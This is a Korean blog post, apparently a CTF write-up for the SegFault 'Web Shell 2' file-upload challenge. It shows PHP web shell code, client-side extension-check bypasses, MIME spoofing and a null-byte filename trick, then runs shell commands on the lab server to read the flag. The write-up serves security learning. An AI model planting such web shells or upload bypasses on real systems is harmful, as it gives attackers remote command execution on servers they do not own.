Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (File Vuln) - Web Shell 2

Gearvirus(junyup2) 2024. 2. 8. 23:45

[SegFault] (File Vuln)

Web Shell 2

Web ์„œ๋ฒ„ ๋‚ด์—์„œ flag.txt ํŒŒ์ผ์„ ์ฐพ์•„๋‚ด๋ผ!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ๋Š” File Vulnerability์— ๊ด€ํ•œ ๋ฌธ์ œ๋กœ์„œ, 'Server Side Script' File, ์ฆ‰ ์›น ์‰˜(Web Shell)์„ Upload ํ•˜๊ณ , ํ•ด๋‹น ์›น ์‰˜์˜ ์—…๋กœ๋“œ ์œ„์น˜๋ฅผ ์ฐพ์•„ ์‹คํ–‰ ์‹œ์ผœ flag.txt ํŒŒ์ผ์„ ์ฐพ๋Š” ๋ฌธ์ œ์ด๋‹ค.

 

Vuln Point

๊ฒŒ์‹œํŒ์˜ ๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์—์„œ ํŒŒ์ผ ์—…๋กœ๋“œ ์‹œ์— javascript์—์„œ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์„ ์ด์šฉํ•˜์—ฌ ํ™•์žฅ์ž์˜ ์ œํ•œ์„ ๋‘๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

<script type="text/javascript">
		function checkFileExtension(fileName) {
  			var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
			var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;

			if(fileName==""){return true;}
			if(!allowedExtensions.exec(fileName)) {
  				alert('์—…๋กœ๋“œํ•  ์ˆ˜ ์—†๋Š” ํ™•์žฅ์ž์˜ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค.');
  				writeFrm.upload_file.value = '';
  				return false;
			}else{
				return true;
		}		 
			return true;
		}
</script>

์œ„์™€ ๊ฐ™์ด ํ—ˆ์šฉ๋œ ํ™•์žฅ์ž ์ด์™ธ์˜ ํ™•์žฅ์ž๋ฅผ ๋ง‰๊ณ  ์žˆ๋Š” ๊ฒƒ์ด๋‹ค. ํ•˜์ง€๋งŒ javascript๋กœ์˜ ํ™•์žฅ์ž ์ œํ•œ์€ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

ํ•œ์ค„ ์›น ์‰˜

๊ธฐ๋ณธ์ ์ธ ํ•œ ์ค„ ์›น์‰˜์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

<?php
echo system($_GET['cmd']);           
?>

์œ„์™€ ๊ฐ™์€ ๊ฐ„๋‹จํ•œ ์›น ์‰˜์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ด์ง€๋งŒ, ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ํŽธํ•˜๋„๋ก ์•„๋ž˜์™€ ๊ฐ™์ด ์ˆ˜์ •ํ•œ ์›น ์‰˜ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ด๋‹ค.

 

์‚ฌ์šฉํ•œ ์›น ์‰˜ ์ฝ”๋“œ

์‚ฌ์šฉํ•˜๊ธฐ ํŽธํ•˜๋„๋ก ์ˆ˜์ •ํ•œ ์›น ์‰˜ ์ฝ”๋“œ์ด๋‹ค.

<?php
    echo 'Enter a Command:<br>';
    echo '<form action="" method="get">';
    echo '<input type="text" name="cmd">';
    echo '<input type="submit">';
    echo '</form>';
    
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>

 

์›น ์‰˜ ์—…๋กœ๋“œ

๊ฒŒ์‹œํŒ์˜ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ์—์„œ ํ™•์žฅ์ž ๊ฒ€์ฆ์ด ์ด๋ฃจ์–ด์ง€๊ณ  ์žˆ์–ด์„œ  (.php) ํŒŒ์ผ์˜ ์—…๋กœ๋“œ๋Š” ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

ํ•˜์ง€๋งŒ ์ด๊ฒƒ์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์กด์žฌํ•œ๋‹ค.

1. javascript ์ˆ˜์ •

์œ„์˜ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ํ—ˆ์šฉ๋œ ํ™•์žฅ์ž ์ด์™ธ์˜ ํ™•์žฅ์ž์˜ ๊ฒฝ์šฐ false๋ฅผ ๋ฐ˜ํ™˜ํ•ด์ฃผ๊ณ , ํ—ˆ์šฉ๋œ ํ™•์žฅ์ž์— ํ•œํ•ด์„œ๋งŒ true๋ฅผ ๋ฐ˜ํ™˜ํ•ด์ฃผ๊ณ  ์žˆ๋‹ค. ์ฆ‰, true๊ฐ€ ๋ฐ˜ํ™˜๋˜๊ธฐ๋งŒ ํ•˜๋ฉด ํ™•์žฅ์ž ๊ฒ€์ฆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

1-2. ๋ฐ˜ํ™˜ ๊ฐ’ ์ˆ˜์ •

if(!allowedExtensions.exec(fileName)) {
  	alert('์—…๋กœ๋“œํ•  ์ˆ˜ ์—†๋Š” ํ™•์žฅ์ž์˜ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค.');
  	writeFrm.upload_file.value = '';
  	return false;
}

์œ„์˜ ํ—ˆ์šฉ๋˜์ง€ ์•Š์€ ํ™•์žฅ์ž ๋ถ€๋ถ„์—์„œ false๋ฅผ ๋ฐ˜ํ™˜ํ•ด์ฃผ๊ณ  ์žˆ์ง€๋งŒ javascript ์ˆ˜์ •์„ ํ†ตํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฐ”๊ฟ”์ค€๋‹ค๋ฉด ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

if(!allowedExtensions.exec(fileName)) {
  	//alert('์—…๋กœ๋“œํ•  ์ˆ˜ ์—†๋Š” ํ™•์žฅ์ž์˜ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค.');
  	//writeFrm.upload_file.value = '';
  	return true;
}

ํ—ˆ์šฉ๋˜์ง€ ์•Š์€ ํ™•์žฅ์ž๊ฐ€ ๋“ค์–ด์™€๋„ true๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

 

1-2. javascript ํ™•์žฅ์ž ์ถ”๊ฐ€

javascript์˜ ํ—ˆ์šฉ๋œ ํ™•์žฅ์ž ๋ถ€๋ถ„์— ์›ํ•˜๋Š” ํ™•์žฅ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;

์œ„์™€ ๊ฐ™์ด ํ—ˆ์šฉ๋œ ํ™•์žฅ์ž๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์— .php๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ๋œ๋‹ค.


2. MIME Type ์ˆ˜์ •

MIME (multipurpose internet mail extensions)
์ด๋ฏธ์ง€ ํŒŒ์ผ์€ ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ฐ’์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ์–ด ํ…์ŠคํŠธ๋กœ ์ธ์ฝ”๋”ฉํ•˜์—ฌ ๋ณด๋‚ด์•ผ ๋ฐ์ดํ„ฐ๊ฐ’์„ ์ฃผ๊ณ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค.
๊ทธ๋ž˜์„œ ๊ณต๊ฒฉ์„ ์œ„ํ•œ ํŒŒ์ผ ์—…๋กœ๋“œ๋ฅผ ํ•  ๋•Œ content-type์„ ๋งž๊ฒŒ ์ˆ˜์ •ํ•ด์•ผ ํ•œ๋‹ค.

php ํŒŒ์ผ์ด ์—…๋กœ๋“œ ๋˜๋Š” ๊ฒฝ์šฐ Content-Type์€ text/php๋ผ๊ณ  ์˜ฌ๋ผ๊ฐ€๊ฒŒ ๋œ๋‹ค. ์ด๊ฒƒ์„ ์ˆ˜์ •ํ•˜์—ฌ ์—…๋กœ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•œ image/png ์™€ ๊ฐ™์ด ๋ณ€์กฐํ•ด์ฃผ๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

 

3. ํ™•์žฅ์ž ์†์ด๊ธฐ NULL

NULL Byte ' %00 ' ๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.

๋ณธ ๋ฌธ์ œ์˜ ํ™•์žฅ์ž ๊ฒ€์ฆ์€ ํŒŒ์ผ๋ช…์˜ ๋งˆ์ง€๋ง‰ .png ์™€ ๊ฐ™์€ ํ™•์žฅ์ž๋ฅผ ์ธ์‹ํ•˜๊ฒŒ ๋˜์–ด ์žˆ๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ NULL Byte๋ฅผ ์ด์šฉํ•˜๋ฉด ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์ด๋‹ค.

web_shell.php%00.png

์œ„์™€ ๊ฐ™์ด NULL Byte๋ฅผ ์ด์šฉํ•˜๋ฉด ํ™•์žฅ์ž๊ฐ€ .png ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ ์‹ค์ œ๋กœ๋Š” %00๊ฐ’์ด NULL ์ด๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ ๋’ท๋ถ€๋ถ„์ด ๋‚ ์•„๊ฐ€๊ณ  web_shell.php๋งŒ ๋‚จ๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

๋ฌธ์ œ ํ•ด๊ฒฐ์—๋Š” ์ด ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•  ๊ฒƒ์ด๋‹ค.


์—…๋กœ๋“œ ํŒŒ์ผ ์œ„์น˜

์œ„์˜ ์›น ์‰˜์„ ์—…๋กœ๋“œ ํ•œ ํ›„, ๋‹ค์šด๋กœ๋“œ ๋งํฌ๋ฅผ ํ™•์ธํ•˜๋ฉด ๊ฒฝ๋กœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

http://ctf.segfaulthub.com:7979/webshell_2/web_shell.php%00.png

์ด๊ฒƒ๋งŒ ๋ณด๊ณ ๋Š” ๊ฒฝ๋กœ๋ฅผ ์•Œ ์ˆ˜๊ฐ€ ์—†๋Š”๋ฐ, ๋””๋ ‰ํ„ฐ๋ฆฌ ์ธ๋ฑ์‹ฑ ์ทจ์•ฝ์ ์ด ์กด์žฌํ–ˆ๋‹ค.

Index of /webshell_2/files/gear/

์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์œ„์™€๊ฐ™์€ ๊ฒฝ๋กœ์— ํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

์›น ์‰˜ ์‹คํ–‰

http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php%00.png

NULL Byte๋ฅผ ์ด์šฉํ•˜์—ฌ ์—…๋กœ๋“œ์‹œ์— ํŒŒ์ผ๋ช…์„ ์†์˜€๊ธฐ ๋•Œ๋ฌธ์— ์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋ฉด ํŒŒ์ผ์ด ์—†๋‹ค.

ํŒŒ์ผ์ด ์—…๋กœ๋“œ ๋˜๋ฉด์„œ %00๋’ค์˜ .png๊ฐ€ %00(=NULL)๊ณผ ํ•จ๊ป˜ ๋‚ ์•„๊ฐ”๊ธฐ ๋•Œ๋ฌธ์— ํŒŒ์ผ๋ช…์ด ์‹ค์ œ๋กœ๋Š” web_shell.php๊ฐ€ ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— web_shell.php%00.png ๊ฐ€ ์•„๋‹ˆ๋ผ web_shell.php์„ ์ž…๋ ฅํ•ด์ค˜์•ผ ํ•œ๋‹ค.

http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋ฉด ์„ฑ๊ณต์ ์œผ๋กœ ์›น ์‰˜๋กœ์˜ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

flag ์ฐพ๊ธฐ

์œ„์˜ ์›น ์‰˜์„ ํ†ตํ•ด flag๋ฅผ ์ฐพ์•„์•ผํ•œ๋‹ค.

dir ../../

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ์–ด๋–ค ๋””๋ ‰ํ„ฐ๋ฆฌ๋“ค์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ  secret_file ์ด๋ผ๋Š” ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋ณด์ธ๋‹ค.

dir ../../secret_file

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด๋ถ€๋ฅผ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ flag.txtํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๋‚ด์šฉ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด cat ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•œ๋‹ค.

cat ../../secret_file/flag.txt

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


์ƒ๊ฐํ•ด ๋ณผ ์ 

find ๋ช…๋ น์–ด

find ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฐพ์„ ์ˆ˜๋„ ์žˆ์—ˆ๊ฒ ์ง€๋งŒ, ํ•ด๋‹น ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜๋ ค๋ฉด ์ฐพ์œผ๋ ค๋Š” ํŒŒ์ผ์˜ ์ด๋ฆ„์„ ํ™•์‹คํ•˜๊ฒŒ ์•Œ๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ง์ ‘ ์ฐพ์•„๋ณด๋Š” ๋ฐฉ์‹์„ ์„ ํƒํ•˜์˜€๋‹ค.

find ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

find / -name flag.txt

์—…๋กœ๋“œ ์šฐํšŒ

ํ™•์žฅ์ž๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ์„ ๋•Œ ์—…๋กœ๋“œ ๊ฐ€๋Šฅํ•œ ๋ฐฉ์‹์— ๋Œ€ํ•˜์—ฌ ์—ฌ๋Ÿฌ๊ฐ€์ง€๋กœ ์•Œ์•„๋ด์•ผ, ๋ณธ ๋ฌธ์ œ์™€ ๊ฐ™์ด ์—…๋กœ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์ธ์ง€ํ•ด์•ผ ํ•œ๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜